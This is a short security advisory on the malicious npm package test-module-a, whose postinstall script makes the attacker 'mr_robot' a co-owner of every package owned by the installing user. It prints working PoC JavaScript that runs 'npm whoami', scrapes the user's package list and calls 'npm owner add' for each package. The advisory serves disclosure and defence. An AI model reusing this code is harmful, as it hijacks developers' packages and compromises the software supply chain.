Malicious Package

test-module-a is a malicious package that uses postinstall scripts to perform malicious activity, like adding the owner of the malicious package as an owner to all packages owned by the user who performed npm install.

This is especially dangerous in production runtime environments, where environment variables tend to consist of keys, passwords, tokens and other secrets.

PoC:

function currentUser(cb) {
  exec('npm whoami', function (err, stdout, stderr) {
    if (!err) cb(stdout);
  });
}

function addOwner(packageName, newOwner) {
  exec('npm owner add ' + newOwner + ' ' + packageName);
}

function getModulesOwned(user, cb) {
  var url = 'https://www.npmjs.org/~' + user;

  request(url, function (error, response, body) {
    var $ = cheerio.load(body);
    var packages = $('.collaborated-packages a').map(function (i, el) {
      return $(this).text();
    }).get();

    cb(packages);
  });
}

currentUser(function (user) {
  if (user) {
    getModulesOwned(user, function (modules) {
      modules.forEach(function (moduleName) {
        addOwner(moduleName, 'mr_robot');
      });
    });
  }
});
